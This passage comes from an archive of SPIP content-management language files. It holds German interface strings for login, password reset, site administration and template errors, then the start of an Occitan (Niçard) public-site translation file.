'form_forum_indiquer_nom_email' => 'Tragen Sie bitte hier Ihren Namen und Ihre E-Mail-Adresse ein. Die persönlichen Zugangsdaten werden Ihnen dann per E-Mail zugeschickt.',
'form_forum_login' => 'Login:',
'form_forum_message_auto' => '(automatisch erzeugte Nachricht)',
'form_forum_pass' => 'Passwort:',
'form_forum_probleme_mail' => 'E-Mail Problem: Zugangsdaten können nicht verschickt werden.',
'form_forum_voici1' => 'Hier sind Ihre Zugangsdaten für die Teilnahme an der Website "@nom_site_spip@" (@adresse_site@):',
'form_forum_voici2' => 'Hier sind Ihre Zugangsdaten um Artikel für die Website "@nom_site_spip@" (@adresse_login@) vorzuschlagen:',
'form_indiquer_email' => 'Bitte geben Sie Ihre E-Mail-Adresse an.',
'form_indiquer_nom' => 'Bitte geben Sie Ihren Namen an.',
'form_indiquer_nom_site' => 'Bitte geben Sie den Namen Ihrer Website an.',
'form_pet_deja_enregistre' => 'Diese Website wurde bereits erfasst',
'form_pet_signature_pasprise' => 'Ihre Signatur wird nicht berücksichtigt.',
'form_prop_confirmer_envoi' => 'Senden',
'form_prop_description' => 'Beschreibung/Kommentar',
'form_prop_enregistre' => 'Ihr Vorschlag wurde gespeichert und wird nach Freigabe durch die Redaktion der Website angezeigt.',
'form_prop_envoyer' => 'Nachricht senden',
'form_prop_indiquer_email' => 'Bitte geben Sie eine gültige E-Mail Adresse an',
'form_prop_indiquer_nom_site' => 'Bitte geben Sie den Namen der Website an.',
'form_prop_indiquer_sujet' => 'Bitte geben Sie ein Thema an',
'form_prop_message_envoye' => 'Nachricht gesendet',
'form_prop_non_enregistre' => 'Ihr Vorschlag wurde nicht gespeichert.',
'form_prop_sujet' => 'Thema',
'form_prop_url_site' => 'URL der der Website',
'forum_non_inscrit' => 'Sie sind nicht eingeschrieben oder Adresse bzw. Passwort waren falsch.',
'forum_par_auteur' => 'Nach @auteur@',
'forum_titre_erreur' => 'Fehler...',
// I
'ical_texte_rss_articles' => 'Die «backend» Datei mit den Artikeln der Website finden Sie unter dieser Adresse:',
'ical_texte_rss_articles2' => 'Sie können auch «backend» Dateien für einzelne Rubriken de Website nutzen:',
'ical_texte_rss_breves' => 'Es gibt ebenfalls eine Datei für die Meldungen der Website. Wenn Sie die Nummer (ID) einer Rubrik angeben, erhalten Sie auchsschliesslich die Meldungen aus dieser Rubrik.',
'icone_a_suivre' => 'Aufgaben',
'icone_admin_site' => 'Konfiguration',
'icone_agenda' => 'Kalender',
'icone_aide_ligne' => 'Online-Hilfe',
'icone_articles' => 'Artikel',
'icone_auteurs' => 'Autoren',
'icone_brouteur' => 'Übersicht',
'icone_configuration_site' => 'Konfiguration',
'icone_configurer_site' => 'Ihre Website konfigurieren',
'icone_creer_nouvel_auteur' => 'Neuen Autor anlegen',
'icone_creer_rubrique' => 'Neue Rubrik anlegen',
'icone_creer_sous_rubrique' => 'Neue Unterrubrik anlegen',
'icone_deconnecter' => 'Log-Out',
'icone_discussions' => 'Diskussionen',
'icone_doc_rubrique' => 'Dokumente der Rubriken',
'icone_ecrire_article' => 'Neuen Artikel schreiben',
'icone_edition_site' => 'Redaktion',
'icone_gestion_langues' => 'Sprachverwaltung',
'icone_informations_personnelles' => 'Persönliche Informationen',
'icone_interface_complet' => 'Expertenmodus',
'icone_interface_simple' => 'Standardmodus',
'icone_maintenance_site' => 'Wartung',
'icone_messagerie_personnelle' => 'Persönliche Nachrichten',
'icone_repartition_debut' => 'Seit Einrichtung der Website',
'icone_rubriques' => 'Rubriken',
'icone_sauver_site' => 'Website sichern',
'icone_site_entier' => 'Ganze Website',
'icone_sites_references' => 'Verlinkte Websites',
'icone_statistiques' => 'Statistiken',
'icone_suivi_activite' => 'Aktivitäten verfolgen',
'icone_suivi_actualite' => 'Entwicklung der Website',
'icone_suivi_pettions' => 'Petitionen verwalten',
'icone_suivi_revisions' => 'Änderungen des Artikels',
'icone_supprimer_document' => 'Dokument löschen',
'icone_supprimer_image' => 'Bild löschen',
'icone_tous_articles' => 'Alle Ihre Artikel',
'icone_tous_auteur' => 'Alle Autoren',
'icone_tous_visiteur' => 'Alle Besucher',
'icone_visiter_site' => 'Website ansehen',
'icone_voir_en_ligne' => 'Online ansehen',
'img_indisponible' => 'Bild nicht vorhanden',
'impossible' => 'unmöglich',
'info_a_suivre' => 'AUFGABEN »',
'info_acces_interdit' => 'Zugang gesperrt',
'info_acces_refuse' => 'Zugang verweigert',
'info_action' => 'Aktion: @action@',
'info_administrer_rubriques' => 'Sie können diese Rubrik und ihre Unterrubriken verwalten',
'info_adresse_non_indiquee' => 'Sie haben keine Adresse zum Testen agegeben!',
'info_aide' => 'HILFE:',
'info_ajouter_mot' => 'Wort hinzufügen',
'info_annonce' => 'ANKÜNDIGUNG',
'info_annonces_generales' => 'Allgemeine Ankündigungen:',
'info_article_propose' => 'Vorgeschlagener Artikel',
'info_article_publie' => 'Veröffentlichter Artikel',
'info_article_redaction' => 'Artikel in Bearbeitung',
'info_article_refuse' => 'Abgelehnter Artikel',
'info_article_supprime' => 'Gelöschter Artikel',
'info_articles' => 'Artikel',
'info_articles_a_valider' => 'Zur Veröffentlichung vorgeschlagenen Artikel',
'info_articles_nb' => '@nb@ Artikel',
'info_articles_proposes' => 'Vorgeschlagene Artikel',
'info_articles_un' => '1 Artikel',
'info_auteurs_nombre' => 'Autor(en):',
'info_authentification_ftp' => 'Authentifizierung per FTP.',
'info_breves_2' => 'Meldungen',
'info_breves_nb' => '@nb@ Meldungen',
'info_breves_un' => '1 Meldung',
'info_connexion_refusee' => 'Die Verbindung wurde verweigert.',
'info_contact_developpeur' => 'Bitte kontaktieren Sie einen der Entwickler.',
'info_contenance' => 'Diese Website enthält:',
'info_contribution' => 'Beiträge',
'info_copyright' => '@spip@ ist freie Software im Sinne der @lien_gpl@.',
'info_copyright_doc' => 'Weitere Informationen finden Sie unter <a href="@spipnet@">@spipnet_affiche@</a>.',
'info_copyright_gpl' => 'GNU Public License',
'info_cours_edition' => 'In Bearbeitung',
'info_creer_repertoire' => 'Bitte legen Sie eine Datei oder ein Verzeichnis mit diesem Namen an: ',
'info_creer_repertoire_2' => '(Im Unterverzeichnis <b>@repertoire@</b>)',
'info_creer_vignette' => 'Miniaturbilder automatisch anlegen',
'info_creerdansrubrique_non_autorise' => 'Sie sind nicht berechtigt, Inhalte in dieser Rubrik anzulegen.',
'info_deplier' => 'Öffnen',
'info_descriptif_nombre' => 'Beschreibung(en):',
'info_description' => 'Beschreibung:',
'info_description_2' => 'Beschreibung:',
'info_dimension' => 'Maße:',
'info_documents_nb' => '@nb@ Dokumente',
'info_documents_un' => '1 Dokument',
'info_ecire_message_prive' => 'Neue private Nachricht schreiben',
'info_email_invalide' => 'Ungültige E-Mail Adresse.',
'info_en_cours_validation' => 'Ihre Artikel in Bearbeitung',
'info_en_ligne' => 'Zur Zeit online:',
'info_envoyer_message_prive' => 'Private Nachricht an diesen Autor schicken',
'info_erreur_requete' => 'Abfragefehler: ',
'info_erreur_squelette2' => 'Keine Vorlage <b>@fichier@</b> vorhanden ...',
'info_erreur_systeme' => 'Systemfahler (Fehler no. @errsys@)',
'info_erreur_systeme2' => 'Möglicherweise ist die Festplatte voll oder die Datenbank beschädigt.<br />
<span style="color:red;">Versuchen Sie <a href=\'@script@\'>die Datenbank zu reparieren</a>, oder wenden Sie sich an Ihren Provider.</span>',
'info_fini' => 'Fertig!',
'info_format_image' => 'Für diese Dateiformate können Vorschaubilder erstellt werden: @gd_formats@.',
'info_format_non_defini' => 'Undefiniertes Format',
'info_grand_ecran' => 'Grosser Bildschirm',
'info_image_aide' => 'HILFE',
'info_image_process_titre' => 'Methode zum Anlegen der Miniaturbilder',
'info_impossible_lire_page' => '<b>Fehler!</b> Die Seite <tt><html>@test_proxy@</html></tt> ist nicht über den Proxy erreichbar',
'info_installation_systeme_publication' => 'Installation von SPIP ...',
'info_installer_documents' => 'Sie können alle Dokumente im Verzeichnis @upload@ automatisch installieren.',
'info_installer_ftp' => 'Als Administrator können Sie Dateien (per FTP) direkt in das Verzeichnis <i>@upload@</i> kopieren und sie hier auswählen.',
'info_installer_images' => 'Sie können Bilder in den Formaten JPEG, GIF und PNG verwenden.',
'info_installer_images_dossier' => 'Bilder ins Verzeichnis @upload@ kopieren um sie hier auswählen zu können.',
'info_interface_complete' => 'Expertenmodus',
'info_interface_simple' => 'Standardmodus',
'info_joindre_document_article' => 'Diesem Artikel können Sie Dokumente folgendem Typs beifügen: ',
'info_joindre_document_rubrique' => 'Dieser Rubrik können Sie Dokumente folgendem Typs beifügen:',
'info_joindre_documents_article' => 'Diesem Artikel können Sie Dokumente folgendem Typs beifügen:',
'info_l_article' => 'Der Artikel',
'info_la_breve' => 'Die Meldung',
'info_la_rubrique' => 'Die Rubrik',
'info_langue_principale' => 'Hauptsprache der Website',
'info_largeur_vignette' => '@largeur_vignette@ x @hauteur_vignette@ Pixel',
'info_les_auteurs_1' => 'von @les_auteurs@ ',
'info_logo_format_interdit' => 'Nur die Logos im Format @formats@ sind zugelassen.',
'info_logo_max_poids' => 'Die Logogrösse darf nicht @maxi@ überschreiten (aktuelle Dateigrösse @actuel@).',
'info_mail_fournisseur' => 'IhrName@Server.de',
'info_message_2' => 'NACHRICHT',
'info_message_supprime' => 'NACHRICHT GELÖSCHT',
'info_messages_nb' => '@nb@ Nachrichten',
'info_messages_un' => '1 Nachricht',
'info_mise_en_ligne' => 'Online seit:',
'info_modification_parametres_securite' => 'Änderung der Sicherheitseinstellungen',
'info_mois_courant' => 'Im Lauf des Monats:',
'info_mot_cle_ajoute' => 'Das folgende Wort wurde hinzugefügt zu',
'info_multi_herit' => 'Standardsprache',
'info_multi_langues_soulignees' => 'Die Texte des Interface sind in die <u>unterstrichenen Sprachen</u> ganz oder teilweise übersetzt. Wenn Sie eine von ihnen wählen, werden viele Elemente der Website automatisch übersetzt (Datumsangaben, Formulare usw.). In den nicht unterstrichenen Sprachen werden diese Elemente in der Hauptsprache der Website angezeigt.',
'info_multilinguisme' => 'Mehrsprachigkeit',
'info_nom_non_utilisateurs_connectes' => 'Ihr Name wird nicht in der Liste der zur Zeit eingelogten Nutzer angezeigt.',
'info_nom_utilisateurs_connectes' => 'Ihr Name wird in der Liste der angemeldeten Nutzer angezeigt.',
'info_nombre_en_ligne' => 'Zur Zeit online:',
'info_non_resultat' => 'Keine Fundstellen für “@cherche_mot@”',
'info_non_utilisation_messagerie' => 'Sie nehmen nicht am Nachrichtensystem der Website teil.',
'info_nouveau_message' => 'SIE HABEN EINE NEUE NACHRICHT',
'info_nouveaux_messages' => 'SIE HABEN @total_messages@ NEUE NACHRICHTEN',
'info_numero_abbreviation' => 'N° ',
'info_obligatoire' => 'Diese Information ist obligatorisch.',
'info_pense_bete' => 'MERKZETTEL',
'info_petit_ecran' => 'Kleiner Bildschirm',
'info_petition_close' => 'Petition geschlossen',
'info_pixels' => 'Pixel',
'info_plusieurs_mots_trouves' => 'Mehrere Schlagworte entsprechen Ihrem Suchkriterium “@cherche_mot@”:',
'info_portfolio_automatique' => 'automatische Mappe:',
'info_premier_resultat' => '[@debut_limit@ erste Ergebnisse von @total@]',
'info_premier_resultat_sur' => '[@debut_limit@ erste Ergebnisse von @total@]',
'info_propose_1' => '[@nom_site_spip@] vorgeschlagen : @titre@',
'info_propose_2' => 'vorgeschlagener Artikel
---------------',
'info_propose_3' => 'Der Artikel “@titre@” ist zur Veröffentlichung vorgeschlagen.',
'info_propose_4' => 'Bitte teilen Sie den anderen Autoren Ihre Meinung zu diesem Artikel mit',
'info_propose_5' => '(im Forum des Artikels). Sie können ihn unter dieser Adresse lesen:',
'info_publie_01' => 'Der Artikel „@titre@“ wurde von @connect_nom@ freigegeben.',
'info_publie_1' => '[@nom_site_spip@] VERÖFFENTLICHT: @titre@',
'info_publie_2' => 'Artikel veröffentlicht
--------------',
'info_rechercher' => 'Suchen',
'info_rechercher_02' => 'Suchen:',
'info_remplacer_vignette' => 'Ersetzen Sie das Standard-Piktogramm durch ein eigenes Logo:',
'info_rubriques_nb' => '@nb@ Rubriken',
'info_rubriques_un' => '1 Rubrik',
'info_sans_titre_2' => 'ohne Titel',
'info_selectionner_fichier' => 'Sie können eine Datei aus dem Verzeichnis @upload@ auswählen.',
'info_selectionner_fichier_2' => 'Wählen Sie eine Datei:',
'info_sites_nb' => '@nb@ Websites',
'info_sites_un' => '1 Website',
'info_supprimer_vignette' => 'Icon löschen',
'info_symbole_bleu' => 'Das <b>blaue</b> Symbol bedeutet <b>Merkzettel</b>, d.h. eine Nachricht nur zu Ihrer eigenen Verwendung.',
'info_symbole_jaune' => 'Das <b>gelbe</b> Symbol bedeutet <b>Ankündigung an alle Redakteure</b> (für alle Redakteure sichtbar, Änderung nur durch Administratoren)',
'info_symbole_vert' => 'Das <b>grüne</b> Symbol bezeichnet Nachrichten an <b>andere Benutzer</b> der Website.',
'info_telecharger_nouveau_logo' => 'Neues Logo hochladen:',
'info_telecharger_ordinateur' => 'Von Ihrem Computer hochladen:',
'info_tous_resultats_enregistres' => ' [alle Ergebnisse sind erfasst]',
'info_tout_afficher' => 'Alles zeigen',
'info_travaux_texte' => 'Diese Website ist noch nicht fertig eingerichtet. Schauen Sie später mal wieder rein ...',
'info_travaux_titre' => 'Website in Bearbeitung',
'info_trop_resultat' => 'Zu viele Ergebnisse für “@cherche_mot”. Bitte präzisieren Sie Ihre Suchbegriffe.',
'info_utilisation_messagerie_interne' => 'Sie verwenden das interne Nachrichtensystem der Website. ',
'info_valider_lien' => 'Link freigeben',
'info_verifier_image' => ', bitte prüfen Sie, ob Ihre Bilder fehlerfrei übertagen wurden.',
'info_vignette_defaut' => 'Standardsymbol',
'info_vignette_personnalisee' => 'Persönliches Icon',
'info_visite' => 'Besuch:',
'info_vos_rendez_vous' => 'Ihre kommenden Termine',
'infos_vos_pense_bete' => 'Ihre Merkzettel',
// L
'label_ajout_id_rapide' => 'schnell hinzufügen',
'label_poids_fichier' => 'Größe',
'lien_afficher_icones_seuls' => 'Nur Piktogramme anzeigen',
'lien_afficher_texte_icones' => 'Piktogramme und Beschriftung anzeigen',
'lien_afficher_texte_seul' => 'Nur Textmenüs',
'lien_liberer' => 'freigeben',
'lien_liberer_tous' => 'Alle freigeben',
'lien_nouvea_pense_bete' => 'NEUER MERKZETTEL',
'lien_nouveau_message' => 'NEUE NACHRICHT',
'lien_nouvelle_annonce' => 'NEUE ANKÜNDIGUNG',
'lien_petitions' => 'PETITION',
'lien_popularite' => 'Beliebtheit: @popularite@%',
'lien_racine_site' => 'OBERSTE EBENE DER WEBSITE',
'lien_reessayer' => 'Wiederholen',
'lien_repondre_message' => 'Nachricht beantworten',
'lien_supprimer' => 'Löschen',
'lien_tout_afficher' => 'Alles zeigen',
'lien_visite_site' => 'Website anzeigen',
'lien_visites' => '@visites@ Besuche',
'lien_voir_auteur' => 'Autor anzeigen',
'ligne' => 'Zeile',
'login' => 'Login',
'login_acces_prive' => 'Login zum Redaktionssystem',
'login_autre_identifiant' => 'Unter anderem Namen anmelden',
'login_cookie_accepte' => 'Bitte stellen Sie Ihren Webbrowser so ein, dass er sie akzeptiert (zumindest für diese Website).',
'login_cookie_oblige' => 'Zu Ihrer Sicherheit muss Ihr Browser Cookies akzeptieren, wenn Sie sich bei der Website anmelden.',
'login_deconnexion_ok' => 'Abmeldung erfolgreich.',
'login_erreur_pass' => 'Passwort oder Benutzername falsch.',
'login_espace_prive' => 'Redaktionssystem',
'login_identifiant_inconnu' => 'Benutzer «@login@» unbekannt.',
'login_login' => 'Login:',
'login_login2' => 'Login-ID oder E-Mail:',
'login_login_pass_incorrect' => '(Login oder Passwort falsch.)',
'login_motpasseoublie' => 'Passwort vergessen?',
'login_non_securise' => 'Achtung, dieses Formular ist nicht abgesichert. Wenn Sie sicher stellen wollen, dass Ihr Passwort nicht im Netzwerk mitgehört werden kann, aktivieren Sie bitte Javascript und',
'login_nouvelle_tentative' => 'Erneut versuchen',
'login_par_ici' => 'Sie sind angemeldet... hier...',
'login_pass2' => 'Passwort:',
'login_preferez_refuser' => '<b>Wenn Sie keine Cookies verwenden wollen</b>, können Sie eine alternative (weniger sichere) Anmeldung nutzen:',
'login_recharger' => 'diese Seite neu laden',
'login_rester_identifie' => 'Anmeldedaten einige Tage merken',
'login_retour_public' => 'Zurück zur öffentlichen Website',
'login_retour_site' => 'Zurück zur öffentlichen Website',
'login_retoursitepublic' => 'Zurück zur öffentlichen Website',
'login_sans_cookiie' => 'Anmeldung ohne Cookies',
'login_securise' => 'Sicheres Login',
'login_sinscrire' => 'anmelden',
'login_test_navigateur' => 'Test Webbrowser/Verbindung',
'login_verifiez_navigateur' => '(Überprüfen Sie, dass Ihr Webbrowser Ihr Passwort nicht gespeichert hat ...)',
// M
'masquer_colonne' => 'Diese Spalte verbergen',
'masquer_trad' => 'Übersetzungen ausblenden',
'module_fichiers_langues' => 'Sprachdateien',
// N
'navigateur_pas_redirige' => 'Wenn Ihr Browser keine automatische Weiterleitung unterstützt, klicken Sie hier.',
'numero' => 'Nummer',
// O
'occurence' => 'Vorkommen',
'onglet_affacer_base' => 'Datenbank löschen',
'onglet_auteur' => 'Autor',
'onglet_contenu_site' => 'Inhalte der Website',
'onglet_evolution_visite_mod' => 'Entwicklung',
'onglet_fonctions_avances' => 'Erweiterte Einstellungen',
'onglet_informations_personnelles' => 'Persönliche Informationen',
'onglet_interactivite' => 'Interaktivität',
'onglet_messagerie' => 'Nachrichtensystem',
'onglet_repartition_rubrique' => 'Verteilung auf Rubriken',
'onglet_save_restaur_base' => 'Datenbank sichern/wieder herstellen',
'onglet_vider_cache' => 'Sitecache löschen',
// P
'pass_choix_pass' => 'Bitte geben Sie Ihr neues Passwort ein:',
'pass_erreur' => 'Fehler',
'pass_erreur_acces_refuse' => '<b>Fehler:</b> Sie haben keinen Zugang mehr zur Website.',
'pass_erreur_code_inconnu' => '<b>Fehler:</b> Angabe entspricht keinem Benutzer mit Zugang zu dieser Website.',
'pass_erreur_non_enregistre' => '<b>Fehler:</b> Die Adresse <tt>@email_oubli@</tt> ist nicht bekannt.',
'pass_erreur_non_valide' => '<b>Fehler:</b> Diese E-Mail Adresse <tt>@email_oubli@</tt> ist ungültig!',
'pass_erreur_probleme_technique' => '<b>Fehler:</b> E-Mail kann aufgrund eines technischen Problems nicht gesendet werden.',
'pass_espace_prive_bla' => 'Das Redaktionssystem dieser Website ist für Besucher zugänglich, die sich angemeldet haben. Nach erfolgreicher Anmeldung können Sie an Artikeln mitarbeiten, eigene Artikel vorschlagen und an allen Diskussionsforen teilnehmen.',
'pass_forum_bla' => 'Sie möchten in einem Forum für eingetragene Besucher der Website schreiben.',
'pass_indiquez_cidessous' => 'Bitte geben Sie die E-Mail Adresse an, mit der Sie sich ursprünglich eingetragen haben. Sie erhalten dann eine Mail mit allen erforderlichen Schritten um wieder Zugang zu bekommen.',
'pass_mail_passcookie' => '(Diese Nachricht wurde automatisch erzeugt)
Um sich wieder bei der Website
@nom_site_spip@ (@adresse_site@)
anmelden zu können, rufen Sie bitte diese Adresse in Ihrem Webbrowser auf:
@sendcookie@
Sie können auf dieser Seite ein neues Passwort eingeben und sich wieder bei der Website einloggen.
',
'pass_mot_oublie' => 'Passwort vergessen',
'pass_nouveau_enregistre' => 'Ihr neues Passwort wurde gespeichert.',
'pass_nouveau_pass' => 'Neues Passwort',
'pass_ok' => 'O.K.',
'pass_oubli_mot' => 'Passwort vergessen',
'pass_procedure_changer' => 'Um Ihr Paßwort zu ändern, müssen wir zunächst Ihre Identität prüfen. Bitte geben Sie die Mailadresse Ihres Accounts an.',
'pass_quitter_fenetre' => 'Dieses Fenster verlassen',
'pass_rappel_login' => 'Erinnerung: Ihr Login ist «@login@».',
'pass_recevoir_mail' => 'Sie erhalten eine E-Mail mit allen Informationen um wieder Zugang zur Website zu erhalten.',
'pass_retour_public' => 'Zurück zum öffentlichen Bereich',
'pass_rien_a_faire_ici' => 'Hier ist nichts zu tun.',
'pass_vousinscrire' => 'Bei dieser Website anmelden',
'precedent' => 'zurück',
'previsualisation' => 'Vorschau',
'previsualiser' => 'Vorschau anzeigen',
// R
'retour' => 'Zurück',
// S
'spip_conforme_dtd' => 'SPIP erkennt dieses Dokument als dem DOCTYPE entsprechend:',
'squelette' => 'Skelett',
'squelette_inclus_ligne' => 'eingebettetes Skelett, Zeile',
'squelette_ligne' => 'Skelett, Zeile',
'stats_visites_et_popularite' => '@visites@ Besuche; Beliebtheit: @popularite@',
'suivant' => 'weiter',
// T
'taille_go' => '@taille@ Start',
'taille_ko' => '@taille@ kB',
'taille_mo' => '@taille@ MB',
'taille_octets' => '@taille@ Byte',
'texte_actualite_site_1' => 'Wenn Sie sich mit der Oberfläche des Redaktionssystems vertraut gemacht haben, können Sie „',
'texte_actualite_site_2' => 'den Expertenmodus aktivieren,',
'texte_actualite_site_3' => 'um zusätzliche Funktionen zu nutzen.',
'texte_creation_automatique_vignette' => 'Diese Website generiert automatisch Vorschaubilder. Wenn Sie Bilder in den Formaten @gd_formats@ mit diesem Formular installieren, werden Vorschaubilder mit den maximalen Diemsionen @taille_preview@ Pixel angelegt.',
'texte_documents_associes' => 'Die folgenden Dokumente wurden dem Artikel zugeordnet jedoch nicht direkt in ihn eingefügt. Ja nach Gestaltung der öffentlichen Website können Sie alle beigeordneten Dokumente angezeigt werden (oder auch nicht).',
'texte_erreur_mise_niveau_base' => 'Datenbankfehler beim Einrichten der neuen Version. Das Bild <b>@fichier@</b> wurde nicht übernommen (Artikel @id_article@).
Bitte notieren Sie diesen Hinweis, starten Sie die Aktualisierung erneut und prüfen Sie, ob die Bilder
in den Artikeln angezeigt werden.',
'texte_erreur_visiteur' => 'Sie haben versucht, sich mit einer Identität einzuloggen, die dazu nicht berechtigt.',
'texte_inc_auth_1' => 'Sie sind angemeldet als <b>@auth_login@</b>, aber diese ID existiert nicht bzw. nicht mehr in der Datenbank.
Versuchen Sie,',
'texte_inc_auth_2' => 'sich erneut anzumelden',
'texte_inc_auth_3' => ', nachdem Sie u.U. Ihren Webbrowser neu gestartet haben.',
'texte_inc_config' => 'Die hier möglichten Einstellungen beeinflussen das grundsätzliche Verhalten Ihrer Website. Wir raten dringend, sie nur zu ändern, wenn Sie vollständig mit der Funktionsweise von SPIP vertraut sind.<br /><br /><b>Es ist ebenfalls mehr als ratsam, diese Einstellungen nur von Ihrem Haupt-Administrator vornehmen zu lassen.</b>',
'texte_inc_meta_1' => 'Das System konnte die Datei <code>@fichier@</code> nicht speichern. Bitte prüfen Sie als Administrator ',
'texte_inc_meta_2' => 'die Berechtigungen',
'texte_inc_meta_3' => 'für das Verzeichnis <code>@repertoire@</code>.',
'texte_statut_en_cours_redaction' => 'in Bearbeitung',
'texte_statut_poubelle' => 'im Mülleimer',
'texte_statut_propose_evaluation' => 'vorgeschlagen',
'texte_statut_publie' => 'veröffentlicht',
'texte_statut_refuse' => 'abgelehnt',
'titre_ajouter_mot_cle' => 'SCHLAGWORT ZUORDNEN:',
'titre_cadre_raccourcis' => 'SCHNELLZUGANG:',
'titre_changer_couleur_interface' => 'Farbe der Oberfläche ändern',
'titre_image_admin_article' => 'Sie können diesen Artikel verwalten',
'titre_image_administrateur' => 'Administrator',
'titre_image_aide' => 'Hilfe zu diesem Element',
'titre_image_auteur_supprime' => 'gelöschter Autor',
'titre_image_redacteur' => 'Redakteur ohne Systemzugang',
'titre_image_redacteur_02' => 'Redakteur',
'titre_image_visiteur' => 'Besucher',
'titre_joindre_document' => 'DOKUMENT ANFÜGEN',
'titre_mots_cles' => 'SCHLAGWORTE',
'titre_probleme_technique' => 'Achtung! Ein Problem mit dem SQL Server verhindert den Zugang zu diesem Teil der Website. Danke für Ihr Verständnis.',
'titre_publier_document' => 'DOKUMENT IN DIESER RUBRIK VERÖFFENTLICHEN',
'titre_signatures_attente' => 'Nicht bestätigte Unterschriften',
'titre_signatures_confirmees' => 'Bestätigte Unterschriften',
'titre_statistiques' => 'Statistiken',
'titre_titre_document' => 'Titel des Dokuments:',
'todo' => 'demnächst',
'trad_reference' => '(Referenzartikel)',
// Z
'zbug_balise_b_aval' => ' : Tag B muss vor der Schleife stehen',
'zbug_balise_inexistante' => 'Fehler: Der Tag @balise@ wurde nicht richtig für @from@ deklariert.',
'zbug_balise_sans_argument' => 'Dem Tag @balise@ fehlt ein Parameter',
'zbug_boucle' => 'Schleife',
'zbug_boucle_recursive_undef' => 'Die rekursive Schleife @nom@ ist nicht definiert',
'zbug_calcul' => 'berechnen',
'zbug_champ_hors_boucle' => 'Feld @champ@ ausserhalb einer Schleife',
'zbug_champ_hors_motif' => 'Feld @champ@ befindet sich ausserhalb eines Kontexts @motif@',
'zbug_code' => 'Code',
'zbug_critere_inconnu' => 'Unbekanntes Kriterium @critere@',
'zbug_distant_interdit' => 'Extern unzulässig',
'zbug_doublon_table_sans_cle_primaire' => 'Dublette in einer Tabelle ohne eindeutigen Primärschlüssel',
'zbug_doublon_table_sans_index' => 'Dublette in Tabelle ohne Index',
'zbug_erreur_boucle_double' => 'Schleife (BOUCLE) @id@ doppelt vorhanden',
'zbug_erreur_boucle_fermant' => 'Schleife (BOUCLE) @id@: Schluss-Tag fehlt',
'zbug_erreur_boucle_syntaxe' => 'Syntax der Schleife @id@ fehlerhaft',
'zbug_erreur_compilation' => 'Fehler beim Kompilieren',
'zbug_erreur_execution_page' => 'Fehler beim Ausführen',
'zbug_erreur_filtre' => 'Der Filter @filtre@ ist nicht definiert.',
'zbug_erreur_meme_parent' => 'Das Kriterium {meme_parent} funktioniert nur mit den Schleifen (FORUMS) und (RUBRIQUES).',
'zbug_erreur_squelette' => 'Fehler in Layoutvorlage (Skelett)',
'zbug_hors_compilation' => 'Außerhalb der Kompilation',
'zbug_info_erreur_squelette' => 'Irrtum auf der Seite',
'zbug_inversion_ordre_inexistant' => 'Umkehrung einer inexistenten Sortierung ',
'zbug_pagination_sans_critere' => '#PAGINATION ohne Kriterium {pagination} oder in rekursiver Schleife',
'zbug_parametres_inclus_incorrects' => 'INCLUDE-Parameter fehlerhaft: @param@',
'zbug_profile' => 'Rechenzeit: @time@',
'zbug_resultat' => 'Ergebnis',
'zbug_serveur_indefini' => 'SQL-Server nicht definiert',
'zbug_statistiques' => 'Statistik der SQL Abfragen nach Dauer',
'zbug_table_inconnue' => 'SQL-Tabelle « @table@ » unbekannt',
'zxml_connus_attributs' => 'bekannte Attribute',
'zxml_de' => 'von',
'zxml_inconnu_attribut' => 'Attribut unbekannt',
'zxml_inconnu_balise' => 'Tag unbekannt',
'zxml_inconnu_entite' => 'Entity unbekannt',
'zxml_inconnu_id' => 'ID unbekannt',
'zxml_mais_de' => 'aber',
'zxml_non_conforme' => 'entspricht nicht dem Motiv',
'zxml_non_fils' => 'ist kein Kind von',
'zxml_nonvide_balise' => 'kein leerer Tag',
'zxml_obligatoire_attribut' => 'obligatorisches Attribut fehlt in',
'zxml_succession_fils_incorrecte' => 'Objektreihenfolge inkorrekt',
'zxml_survoler' => 'Mouseover zeigt korrekte',
'zxml_valeur_attribut' => 'Attributwert',
'zxml_vide_balise' => 'leerer Tag',
'zxml_vu' => 'bereits gesehen'
);
?>
public_oc_ni_la.php 0000666 00000007142 15252547432 0010377 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=oc_ni_la
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Acuelh dau sit', # MODIF
'articles' => 'Articles',
'articles_auteur' => 'Articles d’aquel autor',
'articles_populaires' => 'Lu articles mai populars',
'articles_rubrique' => 'Articles d’aquela rubrica',
'aucun_article' => 'I a minga d’article a aquela adreiça ',
'aucun_auteur' => 'I a minga d’autor a aquela adreiça ',
'aucun_site' => 'I a minga de sit a aquela adreiça ',
'aucune_breve' => 'I a minga de brèva a aquela adreiça ',
'aucune_rubrique' => 'I a minga de rubrica a aquela adreiça ',
'autres_breves' => 'Autri brèvas',
'autres_groupes_mots_clefs' => 'Autres grops de mots clau',
'autres_sites' => 'Autres sits',
// B
'bonjour' => 'Bònjorn',
// C
'commenter_site' => 'Comentar aqueu sit',
// D
'date' => 'Data',
'dernier_ajout' => 'Darrier apondon',
'dernieres_breves' => 'Darrieri brèvas',
'derniers_articles' => 'Darriers articles',
'derniers_commentaires' => 'Darriers comentaris',
'derniers_messages_forum' => 'Darriers messatges publicats dins lu forums',
// E
'edition_mode_texte' => 'Edicion en mòde tèxt de',
'en_reponse' => 'En respòsta a:',
'en_resume' => 'En resumit',
'envoyer_message' => 'Mandar un messatge',
'espace_prive' => 'Espaci privat',
// H
'hierarchie_site' => 'Ierarquia dau sit',
// J
'jours' => 'jorns',
// M
'meme_auteur' => 'Dau meteis autor',
'meme_rubrique' => 'Dins la meteissa rubrica',
'memes_auteurs' => 'Dei meteis autors',
'message' => 'Messatge',
'messages_forum' => 'Messatges de forum', # MODIF
'messages_recents' => 'Lu messatges de forums mai recents',
'mots_clefs' => 'Mots clau',
'mots_clefs_meme_groupe' => 'Mots clau dins lo meteis grop',
// N
'navigation' => 'Navigacion',
'nom' => 'Nom',
'nouveautes' => 'Li novetats',
'nouveautes_web' => 'Novetats sobre lo web',
'nouveaux_articles' => 'Articles nòus',
'nouvelles_breves' => 'Brèvas nòvi',
// P
'page_precedente' => 'pàgina precedenta',
'page_suivante' => 'pàgina seguenta',
'par_auteur' => 'per ',
